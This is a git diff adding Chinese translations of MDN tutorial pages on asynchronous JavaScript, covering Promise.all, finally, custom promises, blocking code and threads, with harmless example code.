href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/coffee.jpg">coffee.jpg</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/tea.jpg">tea.jpg</a>和 <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/description.txt">description.txt</a>),或者随意替换成你自己的文件。</p> + </li> + <li> + <p>在我们的脚本中,我们将首先定义一个函数,该函数返回我们要发送给<code>Promise.all()</code>的promise。如果我们只想运行<code>Promise.all()</code>块以响应三个<code>fetch()</code>操作完成,这将很容易。我们可以这样做:</p> + + <pre class="brush: js notranslate">let a = fetch(url1); +let b = fetch(url2); +let c = fetch(url3); + +Promise.all([a, b, c]).then(values => { + ... +});</pre> + + <p>当promise是<strong>fullfilled</strong>时,传递到履行处理程序的<code>values</code>将包含三个Response对象,每个对象用于已完成的每个<code>fetch()</code>操作。</p> + + <p>但是,我们不想这样做。我们的代码不关心<code>fetch()</code>操作何时完成。相反,我们想要的是加载的数据。这意味着当我们返回代表图像的可用<code>blob</code>和可用的文本字符串时,我们想要运行<code>Promise.all()</code>块。我们可以编写一个执行此操作的函数;在<code><script></code>元素中添加以下内容:</p> + + <pre class="brush: js notranslate">function fetchAndDecode(url, type) { + return fetch(url).then(response => { + if (type === 'blob') { + return response.blob(); + } else if (type === 'text') { + return response.text(); + } + }) + .catch(e => { + console.log('There has been a problem with your fetch operation: ' + e.message); + }); +}</pre> + + <p>这看起来有点复杂,所以让我们一步一步地完成它:</p> + + <ol> + <li>首先,我们定义函数,向它传递一个URL和一个表示它正在获取的资源类型的字符串。</li> + <li>在函数体内部,我们有一个类似于我们在第一个例子中看到的结构 - 我们调用<code>fetch()</code>函数来获取指定URL处的资源,然后将其链接到另一个返回解码(或“read”)的promise。 )响应body。这始终是前一个示例中的<code>blob()</code>方法。</li> + <li>但是,这里有两处不同: + <ul> + <li>首先,我们返回的第二个promise会因类型值的不同而不同。在执行函数内部,我们包含一个简单的<code>if ... else if</code>语句,根据我们需要解码的文件类型返回不同的promise(在这种情况下,我们可以选择<code>blob</code>或<code>text</code>,但这很容易扩展这个以处理其他类型)。</li> + <li>其次,我们在<code>fetch()</code>调用之前添加了<code>return</code>关键字。它的作用是运行整个链,然后运行最终结果(即<code>blob()</code>或<code>text()</code>返回的promise作为我们刚刚定义的函数的返回值)。实际上,<code>return</code>语句将结果从链返回到顶部。</li> + </ul> + </li> + <li> + <p>在块结束时,我们链接一个<code>.catch()</code>调用,以处理任何可能出现在数组中传递给<code>.all()</code>的任何promise的错误情况。如果任何promise被拒绝,<code>catch</code>块将告诉你哪个promise有问题。 <code>.all()</code>块(见下文)仍然可以实现,但不会显示有问题的资源。如果你想要<code>.all</code>拒绝,你必须将<code>.catch()</code>块链接到那里的末尾。</p> + </li> + </ol> + + <p>函数体内部的代码是async(异步)和基于promise的,因此实际上整个函数就像一个promise ––方便啊!</p> + </li> + <li> + <p>接下来,我们调用我们的函数三次以开始获取和解码图像和文本的过程,并将每个返回的promises存储在变量中。在以前的代码下面添加以下内容:</p> + + <pre class="brush: js notranslate">let coffee = fetchAndDecode('coffee.jpg', 'blob'); +let tea = fetchAndDecode('tea.jpg', 'blob'); +let description = fetchAndDecode('description.txt', 'text');</pre> + </li> + <li> + <p>接下来,我们将定义一个<code>Promise.all()</code>块,仅当上面存储的所有三个promise都已成功完成时才运行一些代码。首先,在<code>.then()</code>调用中添加一个带有空执行程序的块,如下所示:</p> + + <pre class="brush: js notranslate">Promise.all([coffee, tea, description]).then(values => { + +});</pre> + + <p>你可以看到它需要一个包含promises作为参数的数组。执行者只有在所有三个promises的状态成为<strong>resolved</strong>时才会运行;当发生这种情况时,它将传递一个数组,其中包含来自各个promise(即解码的响应主体)的结果,类似于 [coffee-results, tea-results, description-results].</p> + </li> + <li> + <p>最后,在执行程序中添加以下内容。这里我们使用一些相当简单的同步代码将结果存储在单独的变量中(从blob创建对象URL),然后在页面上显示图像和文本。</p> + + <pre class="brush: js notranslate">console.log(values); +// Store each value returned from the promises in separate variables; create object URLs from the blobs +let objectURL1 = URL.createObjectURL(values[0]); +let objectURL2 = URL.createObjectURL(values[1]); +let descText = values[2]; + +// Display the images in <img> elements +let image1 = document.createElement('img'); +let image2 = document.createElement('img'); +image1.src = objectURL1; +image2.src = objectURL2; +document.body.appendChild(image1); +document.body.appendChild(image2); + +// Display the text in a paragraph +let para = document.createElement('p'); +para.textContent = descText; +document.body.appendChild(para);</pre> + </li> + <li> + <p>保存并刷新,你应该看到所有UI组件都已加载,尽管不是特别有吸引力!</p> + </li> +</ol> + +<p>我们在这里提供的用于显示项目的代码相当简陋,但现在作为解释器。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 如果你遇到困难,可以将你的代码版本与我们的代码进行比较,看看它的外观 -––<a href="https://mdn.github.io/learning-area/javascript/asynchronous/promises/promise-all.html">see it live</a>,也可以参阅<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-all.html">source code</a>。</p> +</div> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 如果你正在改进这段代码,你可能想要遍历一个项目列表来显示,获取和解码每个项目,然后循环遍历<code>Promise.all()</code>内部的结果,运行一个不同的函数来显示每个项目取决于什么代码的类型是。这将使它适用于任何数量的项目,而不仅仅是三个。</p> + +<p>此外,你可以确定要获取的文件类型,而无需显式类型属性。例如,你可以使用<code><a href="/en-US/docs/Web/API/Headers/get">response.headers.get("content-type")</a></code>检查响应的{{HTTPHeader("Content-Type")}} HTTP标头,然后做出相应的反应。</p> +</div> + +<h2 id="在promise_fullfillreject后运行一些最终代码"> 在promise fullfill/reject后运行一些最终代码</h2> + +<p>在promise完成后,你可能希望运行最后一段代码,无论它是否已实现(fullfilled)或被拒绝(rejected)。此前,你必须在<code>.then()</code>和<code>.catch()</code>回调中包含相同的代码,例如:</p> + +<pre class="brush: js notranslate">myPromise +.then(response => { + doSomething(response); + runFinalCode(); +}) +.catch(e => { + returnError(e); + runFinalCode(); +});</pre> + +<p>在最近的现代浏览器中,<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/finally">.finally()</a></code> 方法可用,它可以链接到常规promise链的末尾,允许你减少代码重复并更优雅地执行操作。上面的代码现在可以写成如下:</p> + +<pre class="brush: js notranslate">myPromise +.then(response => { + doSomething(response); +}) +.catch(e => { + returnError(e); +}) +.finally(() => { + runFinalCode(); +});</pre> + +<p>有关一个真实示例,请查看我们的<a href="https://mdn.github.io/learning-area/javascript/asynchronous/promises/promise-finally.html">promise-finally.html demo</a>(另请参阅<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-finally.html">source code</a>)。这与我们在上面部分中看到的<code>Promise.all()</code>演示完全相同,除了在<code>fetchAndDecode()</code>函数中我们将<code>finally()</code>调用链接到链的末尾:</p> + +<pre class="brush: js notranslate">function fetchAndDecode(url, type) { + return fetch(url).then(response => { + if(type === 'blob') { + return response.blob(); + } else if(type === 'text') { + return response.text(); + } + }) + .catch(e => { + console.log(`There has been a problem with your fetch operation for resource "${url}": ` + e.message); + }) + .finally(() => { + console.log(`fetch attempt for "${url}" finished.`); + }); +}</pre> + +<p>这会将一条简单的消息记录到控制台,告诉我们每次获取尝试的时间。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>:finally()允许你在异步代码中编写异步等价物try/ catch / finally。</p> +</div> + +<h2 id="构建自定义promise"> 构建自定义promise</h2> + +<p>好消息是,在某种程度上,你已经建立了自己的promise。当你使用<code>.then()</code>块链接多个promise时,或者将它们组合起来创建自定义函数时,你已经在创建自己的基于异步声明的自定义函数。例如,从前面的示例中获取我们的<code>fetchAndDecode()</code>函数。</p> + +<p>将不同的基于promise的API组合在一起以创建自定义函数是迄今为止你使用promises进行自定义事务的最常见方式,并展示了基于相同原则的大多数现代API的灵活性和强大功能。然而,还有另一种方式。</p> + +<h3 id="使用Promise构造函数">使用Promise()构造函数</h3> + +<p>可以使用<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise()</a></code> 构造函数构建自己的promise。当你需要使用现有的旧项目代码、库或框架以及基于现代promise的代码时,这会派上用场。比如,当你遇到没有使用promise的旧式异步API的代码时,你可以用promise来重构这段异步代码。</p> + +<p>让我们看一个简单的示例来帮助你入门 —— 这里我们使用promise包装一个<code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">setTimeout()</a></code>调用 - 它会在两秒后运行一个函数,该函数将用字符串“Success!”,解析当前promise(调用链接的<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/resolve">resolve()</a></code>),。</p> + +<pre class="brush: js notranslate">let timeoutPromise = new Promise((resolve, reject) => { + setTimeout(function(){ + resolve('Success!'); + }, 2000); +});</pre> + +<p><code>resolve()</code>和<code>reject()</code>是用来<strong>实现</strong>和<strong>拒绝</strong>新创建的promise的函数。此处,promise<strong>实现</strong>了字符串“Success!”。</p> + +<p>因此,当你调用此promise时,可以将<code>.then()</code>块链接到它的末尾,它将传递给<code>.then()</code>块一串“Success!”。在下面的代码中,我们显示出该消息:</p> + +<pre class="brush: js notranslate">timeoutPromise +.then((message) => { + alert(message); +})</pre> + +<p>更简化的版本:</p> + +<pre class="brush: js notranslate">timeoutPromise.then(alert); +</pre> + +<p>尝试 <a href="https://mdn.github.io/learning-area/javascript/asynchronous/promises/custom-promise.html">running this live</a> 以查看结果 (可参考 <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/custom-promise.html">source code</a>).</p> + +<p>上面的例子不是很灵活 - promise只能<strong>实现</strong>一个字符串,并且它没有指定任何类型的<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/reject">reject()</a></code>条件(诚然,<code>setTimeout()</code>实际上没有失败条件,所以对这个简单的例子并不重要)。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 为什么要<code>resolve()</code>,而不是<code>fullfill()</code>?我们现在给你的答案有些复杂。</p> +</div> + +<h3 id="拒绝一个自定义promise">拒绝一个自定义promise</h3> + +<p>我们可以创建一个<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/reject">reject()</a></code> 方法拒绝promise - 就像<code>resolve()</code>一样,这需要一个值,但在这种情况下,它是拒绝的原因,即将传递给<code>.catch()</code>的错误块。</p> + +<p>让我们扩展前面的例子,使其具有一些<code>reject()</code>条件,并允许在成功时传递不同的消息。</p> + +<p>获取<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/custom-promise.html">previous example</a>副本,并将现有的<code>timeoutPromise()</code>定义替换为:</p> + +<pre class="brush: js notranslate">function timeoutPromise(message, interval) { + return new Promise((resolve, reject) => { + if (message === '' || typeof message !== 'string') { + reject('Message is empty or not a string'); + } else if (interval < 0 || typeof interval !== 'number') { + reject('Interval is negative or not a number'); + } else { + setTimeout(function(){ + resolve(message); + }, interval); + } + }); +};</pre> + +<p>在这里,我们将两个方法传递给一个自定义函数 - 一个用来做某事的消息,以及在做这件事之前要经过的时间间隔。在函数内部,我们返回一个新的<code>Promise</code>对象 - 调用该函数将返回我们想要使用的promise。</p> + +<p>在<code>Promise</code>构造函数中,我们在if ... else结构中进行了一些检查:</p> + +<ol> + <li>首先,我们检查消息是否适合被警告。如果它是一个空字符串或根本不是字符串,我们会使用合适的错误消息拒绝该promise。</li> + <li>接下来,我们检查间隔是否是适当的间隔值。如果是负数或不是数字,我们会使用合适的错误消息拒绝promise。</li> + <li>最后,如果参数看起来都正常,我们使用<code>setTimeout()</code>在指定的时间间隔过后,使用指定的消息解析promise。</li> +</ol> + +<p>由于<code>timeoutPromise()</code>函数返回一个<code>Promise</code>,我们可以将<code>.then()</code>,<code>.catch()</code>等链接到它上面以利用它的功能。现在让我们使用它 - 将以前的timeoutPromise用法替换为以下值:</p> + +<pre class="brush: js notranslate">timeoutPromise('Hello there!', 1000) +.then(message => { + alert(message); +}) +.catch(e => { + console.log('Error: ' + e); +});</pre> + +<p>当你按原样保存并运行代码时,一秒钟后你将收到消息提醒。现在尝试将消息设置为空字符串或将间隔设置为负数,例如,你将能够通过相应的错误消息查看被拒绝的promise!你还可以尝试使用已解决的消息执行其他操作,而不仅仅是提醒它。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 你可以在GitHub上找到我们的这个示例版本<a href="https://mdn.github.io/learning-area/javascript/asynchronous/promises/custom-promise2.html">custom-promise2.html</a>(另请参阅<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/custom-promise2.html">source code</a>)。</p> +</div> + +<h3 id="一个更真实的例子">一个更真实的例子</h3> + +<p>上面的例子是故意做得简单,以使概念易于理解,但它并不是实际上完全同步。异步性质基本上是使用<code>setTimeout()</code>伪造的,尽管它仍然表明promises对于创建具有合理的操作流程,良好的错误处理等的自定义函数很有用</p> + +<p>我们想邀请你学习的一个例子是<a href="https://github.com/jakearchibald/idb/">Jake Archibald's idb library</a>,它真正地显示了<code>Promise()</code>构造函数的有用异步应用程序。这采用了 <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB API</a>,它是一种旧式的基于回调的API,用于在客户端存储和检索数据,并允许你将其与promises一起使用。如果你查看<a href="https://github.com/jakearchibald/idb/blob/master/lib/idb.js">main library file</a>,你将看到我们在上面讨论过的相同类型的技术。以下块将许多IndexedDB方法使用的基本请求模型转换为使用promise:</p> + +<pre class="brush: js notranslate">function promisifyRequest(request) { + return new Promise(function(resolve, reject) { + request.onsuccess = function() { + resolve(request.result); + }; + + request.onerror = function() { + reject(request.error); + }; + }); +}</pre> + +<p>这可以通过添加一些事件处理程序来实现,这些事件处理程序在适当的时候实现(fullfill)和拒绝(reject)promise。</p> + +<ul> + <li>当<code><a href="/en-US/docs/Web/API/IDBRequest">request</a></code>的<a href="/en-US/docs/Web/API/IDBRequest/success_event"><code>success</code> event</a>触发时,<code><a href="/en-US/docs/Web/API/IDBRequest/onsuccess">onsuccess</a></code>处理程序将使用请求的<code><a href="/en-US/docs/Web/API/IDBRequest/result">result</a></code>实现(fullfill)promise。</li> + <li>当<code><a href="/en-US/docs/Web/API/IDBRequest">request</a></code>的<a href="/en-US/docs/Web/API/IDBRequest/error_event"><code>error</code> event</a>触发时,<code><a href="/en-US/docs/Web/API/IDBRequest/onerror">onerror</a></code>处理程序拒绝带有请求<code><a href="/en-US/docs/Web/API/IDBRequest/error">error</a></code>的promise</li> +</ul> + +<h2 id="总结">总结</h2> + +<p>当我们不知道函数的返回值或返回需要多长时间时,Promises是构建异步应用程序的好方法。它们使得在没有深度嵌套回调的情况下更容易表达和推理异步操作序列,并且它们支持类似于同步<code>try ... catch</code>语句的错误处理方式。</p> + +<p>Promise适用于所有现代浏览器的最新版本;promise有兼容问题的唯一情况是Opera Mini和IE11及更早版本。</p> + +<p>本文中,我们没有涉及的所有promise的功能,只是最有趣和最有用的功能。当你开始了解有关promise的更多信息时,你会遇到更多功能和技巧。</p> + +<p>大多数现代Web API都是基于promise的,因此你需要了解promise才能充分利用它们。这些API包括<a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a>,<a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>,<a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams</a>等等。随着时间的推移,Promises将变得越来越重要,因此学习使用和理解它们是学习现代JavaScript的重要一步。</p> + +<p><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 37.33327865600586px;"><strong>参见</strong></span></font></p> + +<ul> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise()</a></code></li> + <li><a href="/en-US/docs/Web/JavaScript/Guide/Using_promises">Using promises</a></li> + <li><a href="https://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">We have a problem with promises</a> by Nolan Lawson</li> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}}</p> + +<h2 id="本章内容"> 本章内容</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/JavaScript/Asynchronous/Concepts">异步编程的基本概念</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Asynchronous/Introducing">JavaScript异步编程简介</a></li> + <li><a href="/zh-CNdocs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">合作的异步JavaScript:超时和间隔</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Asynchronous/Promises">使用Promises实现优雅的异步编程</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Asynchronous/Async_await">使用async和await让异步编程更简单</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">选择正确的方法</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/异步/概念/index.html b/files/zh-cn/learn/javascript/异步/概念/index.html new file mode 100644 index 0000000000..6e59cda54b --- /dev/null +++ b/files/zh-cn/learn/javascript/异步/概念/index.html @@ -0,0 +1,162 @@ +--- +title: 通用异步编程概念 +slug: learn/JavaScript/异步/概念 +tags: + - JavaScript + - Promises + - Threads + - 学习 + - 异步 + - 阻塞 +translation_of: Learn/JavaScript/Asynchronous/Concepts +--- +<div>{{LearnSidebar}}{{NextMenu("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous")}}</div> + +<p>在本文中,我们将介绍与异步编程相关的一些重要概念,以及它们在浏览器和JavaScript里的体现。在学习本系列的其他文章之前,你应该先理解这些概念。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备条件:</th> + <td>拥有基本的计算机知识,对JavaScript原理有一定了解。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>理解异步编程的基本概念,以及异步编程在浏览器和JavaScript里面的表现。</td> + </tr> + </tbody> +</table> + +<h2 id="异步">异步?</h2> + +<p>通常来说,程序都是顺序执行,同一时刻只会发生一件事。如果一个函数依赖于另一个函数的结果,它只能等待那个函数结束才能继续执行,从用户的角度来说,整个程序才算运行完毕.</p> + +<p>Mac 用户有时会经历过这种旋转的彩虹光标(常称为沙滩球),操作系统通过这个光标告诉用户:“现在运行的程序正在等待其他的某一件事情完成,才能继续运行,都这么长的时间了,你一定在担心到底发生了什么事情”。</p> + +<p><img alt="multi-colored macos beachball busy spinner" src="https://mdn.mozillademos.org/files/16577/beachball.jpg" style="display: block; margin: 0 auto;"></p> + +<p>这是令人沮丧的体验,没有充分利用计算机的计算能力 — 尤其是在计算机普遍都有多核CPU的时代,坐在那里等待毫无意义,你完全可以在另一个处理器内核上干其他的工作,同时计算机完成耗时任务的时候通知你。这样你可以同时完成其他工作,这就是<strong>异步编程</strong>的出发点。你正在使用的编程环境(就web开发而言,编程环境就是web浏览器)负责为你提供异步运行此类任务的API。</p> + +<h2 id="产生阻塞的代码">产生阻塞的代码</h2> + +<p>异步技术非常有用,特别是在web编程。当浏览器里面的一个web应用进行密集运算还没有把控制权返回给浏览器的时候,整个浏览器就像冻僵了一样,这叫做<strong>阻塞;</strong>这时候浏览器无法继续处理用户的输入并执行其他任务,直到web应用交回处理器的控制。</p> + +<p>我们来看一些<strong>阻塞</strong>的例子。</p> + +<p>例子: <a href="https://github.com/mdn/learning-area/tree/master/javascript/asynchronous/introducing">simple-sync.html</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync.html">see it running live</a>), 在按钮上添加了一个事件监听器,当按钮被点击,它就开始运行一个非常耗时的任务(计算1千万个日期,并在console里显示最后一个日期),然后在DOM里面添加一个段落:</p> + +<pre class="brush: js">const btn = document.querySelector('button'); +btn.addEventListener('click', () => { + let myDate; + for(let i = 0; i < 10000000; i++) { + let date = new Date(); + myDate = date + } + + console.log(myDate); + + let pElem = document.createElement('p'); + pElem.textContent = 'This is a newly-added paragraph.'; + document.body.appendChild(pElem); +});</pre> + +<p>运行这个例子的时候,打开JavaScript console,然后点击按钮 — 你会注意到,直到日期的运算结束,最后一个日期在console上显示出来,段落才会出现在网页上。代码按照源代码的顺序执行,只有前面的代码结束运行,后面的代码才会执行。</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: 这个例子不现实:在实际情况中一般不会发生,没有谁会计算1千万次日期,它仅仅提供一个非常直观的体验.</p> +</div> + +<p>第二个例子, <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/simple-sync-ui-blocking.html">simple-sync-ui-blocking.html</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync-ui-blocking.html">see it live</a>), 我们模拟一个在现实的网页可能遇到的情况:因为渲染UI而阻塞用户的互动,这个例子有2个按钮:</p> + +<ul> + <li>"Fill canvas" : 点击的时候用1百万个蓝色的圆填满整个{{htmlelement("canvas")}} .</li> + <li>"Click me for alert" :点击显示alert 消息.</li> +</ul> + +<pre class="brush: js">function expensiveOperation() { + for(let i = 0; i < 1000000; i++) { + ctx.fillStyle = 'rgba(0,0,255, 0.2)'; + ctx.beginPath(); + ctx.arc(random(0, canvas.width), random(0, canvas.height), 10, degToRad(0), degToRad(360), false); + ctx.fill() + } +} + +fillBtn.addEventListener('click', expensiveOperation); + +alertBtn.addEventListener('click', () => + alert('You clicked me!') +);</pre> + +<p>如果你点击第一个按钮,然后快速点击第二个,会注意到alert消息并没有出现,只有等到圆圈都画完以后,才会出现:因为第一个操作没有完成之前阻塞了第二个操作的运行.</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: 当然,这个例子也很丑陋,因为我们只是在模拟阻塞效果。但在现实中,这是一个很常见的问题。开发人员们一直在努力缓解它。</p> +</div> + +<p>为什么是这样? 答案是:JavaScript一般来说是单线程的(<strong>single threaded</strong>)<strong>。</strong>接着我们来介绍<strong>线程</strong>的概念。</p> + +<h2 id="线程">线程</h2> + +<p>一个<strong>线程</strong>是一个基本的处理过程,程序用它来完成任务。每个线程一次只能执行一个任务:</p> + +<pre>Task A --> Task B --> Task C</pre> + +<p>每个任务顺序执行,只有前面的结束了,后面的才能开始。</p> + +<p>正如我们之前所说,现在的计算机大都有多个内核(core),因此可以同时执行多个任务。支持多线程的编程语言可以使用计算机的多个内核,同时完成多个任务:</p> + +<pre>Thread 1: Task A --> Task B +Thread 2: Task C --> Task D</pre> + +<h3 id="JavaScript_是单线程的">JavaScript 是单线程的</h3> + +<p>JavaScript 传统上是单线程的。即使有多个内核,也只能在单一线程上运行多个任务,此线程称为主线程(<strong>main thread</strong>)。我们上面的例子运行如下:</p> + +<pre>Main thread: Render circles to canvas --> Display alert()</pre> + +<p>经过一段时间,JavaScript获得了一些工具来帮助解决这种问题。通过 <a href="/en-US/docs/Web/API/Web_Workers_API">Web workers</a> 可以把一些任务交给一个名为worker的单独的线程,这样就可以同时运行多个JavaScript代码块。一般来说,用一个worker来运行一个耗时的任务,主线程就可以处理用户的交互(避免了阻塞)</p> + +<pre>Main thread: Task A --> Task C +Worker thread: Expensive task B</pre> + +<p>记住这些,请查看<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/simple-sync-worker.html">simple-sync-worker.html</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync-worker.html">see it running live</a>) , 再次打开浏览器的JavaScript 控制台。这个例子重写了前例:在一个单独的worker线程中计算一千万次日期,你再点击按钮,现在浏览器可以在日期计算完成之前显示段落,阻塞消失了。</p> + +<h2 id="异步代码">异步代码</h2> + +<p>web workers相当有用,但是他们确实也有局限。主要的一个问题是他们不能访问 {{Glossary("DOM")}} — 不能让一个worker直接更新UI。我们不能在worker里面渲染1百万个蓝色圆圈,它基本上只能做算数的苦活。</p> + +<p>其次,虽然在worker里面运行的代码不会产生阻塞,但是基本上还是同步的。当一个函数依赖于几个在它之前运行的过程的结果,这就会成为问题。考虑下面的情况:</p> + +<pre>Main thread: Task A --> Task B</pre> + +<p>在这种情况下,比如说Task A 正在从服务器上获取一个图片之类的资源,Task B 准备在图片上加一个滤镜。如果开始运行Task A 后立即尝试运行Task B,你将会得到一个错误,因为图像还没有获取到。</p> + +<pre>Main thread: Task A --> Task B --> |Task D| +Worker thread: Task C -----------> | |</pre> + +<p>在这种情况下,假设Task D 要同时使用 Task B 和Task C的结果,如果我们能保证这两个结果同时提供,程序可能正常运行,但是这不太可能。如果Task D 尝试在其中一个结果尚未可用的情况下就运行,程序就会抛出一个错误。</p> + +<p>为了解决这些问题,浏览器允许我们异步运行某些操作。像<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a> 这样的功能就允许让一些操作运行 (比如:从服务器上获取图片),然后等待直到结果返回,再运行其他的操作:</p> + +<pre>Main thread: Task A Task B + Promise: |__async operation__|</pre> + +<p>由于操作发生在其他地方,因此在处理异步操作的时候,主线程不会被阻塞。</p> + +<p><span class="tlid-translation translation" lang="zh-CN"><span title="">我们将在下一篇文章中开始研究如何编写异步代码。</span> <span title="">非常令人兴奋,对吧?</span> <span title="">继续阅读!</span></span></p> + +<h2 id="总结">总结</h2> + +<p>围绕异步编程领域,现代软件设计正在加速旋转,就为了让程序在一个时间内做更多的事情。当你使用更新更强大的API时,你会发现在更多的情况下,使用异步编程是唯一的途径。以前写异步代码很困难,现在也需要你来适应,但是已经变容易了很多。在余下的部分,我们将进一步探讨异步代码的重要性,以及如何设计代码来防止前面已经提到过的问题。</p> + +<h2 id="模块大纲">模块大纲</h2> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">通用异步编程概念</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">介绍异步JavaScript</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">合作异步JavaScript: Timeouts and intervals</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">使用Promises优雅的异步编程</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">async and await:让异步编程更容易</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">选择正确的方法</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/异步/简介/index.html b/files/zh-cn/learn/javascript/异步/简介/index.html new file mode 100644 index 0000000000..c218d064ca --- /dev/null +++ b/files/zh-cn/learn/javascript/异步/简介/index.html @@ -0,0 +1,272 @@ +--- +title: 异步JavaScript简介 +slug: learn/JavaScript/异步/简介 +translation_of: Learn/JavaScript/Asynchronous/Introducing +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/异步/概念", "Learn/JavaScript/异步/Timeouts_and_intervals", "Learn/JavaScript/异步")}}</div> + +<p class="summary"><span class="tlid-translation translation" lang="zh-CN"><span title="">在本文中,我们简要回顾一下与同步JavaScript相关的问题,首次介绍你将遇到的一些不同的异步技术,并展示如何使用这些技术解决问题。</span></span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备条件:</th> + <td>基本的计算机素养,以及对JavaScript 基础知识的较好的理解。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>熟悉什么是异步JavaScript,与同步JavaScript 的区别,以及使用场合。</td> + </tr> + </tbody> +</table> + +<h2 id="同步JavaScript">同步JavaScript</h2> + +<p>要理解什么是<strong>{{Glossary("异步")}}</strong> JavaScript ,我们应该从确切理解<strong>{{Glossary("同步")}}</strong> JavaScript 开始。本节回顾我们在上一篇文章中看到的一些信息。</p> + +<p>前面学的很多知识基本上都是同步的 — 运行代码,然后浏览器尽快返回结果。先看一个简单的例子 (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/basic-function.html">运行它</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/basic-function.html">这是源码</a>):</p> + +<pre class="brush: js notranslate">const btn = document.querySelector('button'); +btn.addEventListener('click', () => { + alert('You clicked me!'); + + let pElem = document.createElement('p'); + pElem.textContent = 'This is a newly-added paragraph.'; + document.body.appendChild(pElem); +}); +</pre> + +<p>这段代码, 一行一行的顺序执行:</p> + +<ol> + <li>先取得一个在DOM里面的 {{htmlelement("button")}} 引用。</li> + <li>点击按钮的时候,添加一个 <code><a href="/en-US/docs/Web/API/Element/click_event">click</a></code> 事件监听器: + <ol> + <li><code><a href="/en-US/docs/Web/API/Window/alert">alert()</a></code> 消息出现。</li> + <li>一旦alert 结束,创建一个{{htmlelement("p")}} 元素。</li> + <li>给它的文本内容赋值。</li> + <li>最后,把这个段落放进网页。</li> + </ol> + </li> +</ol> + +<p>每一个操作在执行的时候,其他任何事情都没有发生 — 网页的渲染暂停. 因为前篇文章提到过 <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts#JavaScript_is_single_threaded">JavaScript is single threaded</a>. 任何时候只能做一件事情, 只有一个主线程,其他的事情都阻塞了,直到前面的操作完成。</p> + +<p>所以上面的例子,点击了按钮以后,段落不会创建,直到在alert消息框中点击ok,段落才会出现,你可以自己试试:</p> + +<div class="hidden"> +<pre class="brush: html notranslate"><<span class="pl-ent">button</span>>Click me</<span class="pl-ent">button</span>></pre> +</div> + +<p>{{EmbedLiveSample('Synchronous_JavaScript', '100%', '70px')}}</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: 这很重要请记住,<code><a href="/en-US/docs/Web/API/Window/alert">alert()</a></code>在演示阻塞效果的时候非常有用,但是在正式代码里面,它就是一个噩梦。</p> +</div> + +<h2 id="异步JavaScript">异步JavaScript</h2> + +<p>就前面提到的种种原因(比如,和阻塞相关)很多网页API特性使用异步代码,特别是从外部的设备上获取资源,譬如,从网络获取文件,访问数据库,从网络摄像头获得视频流,或者向VR头罩广播图像。</p> + 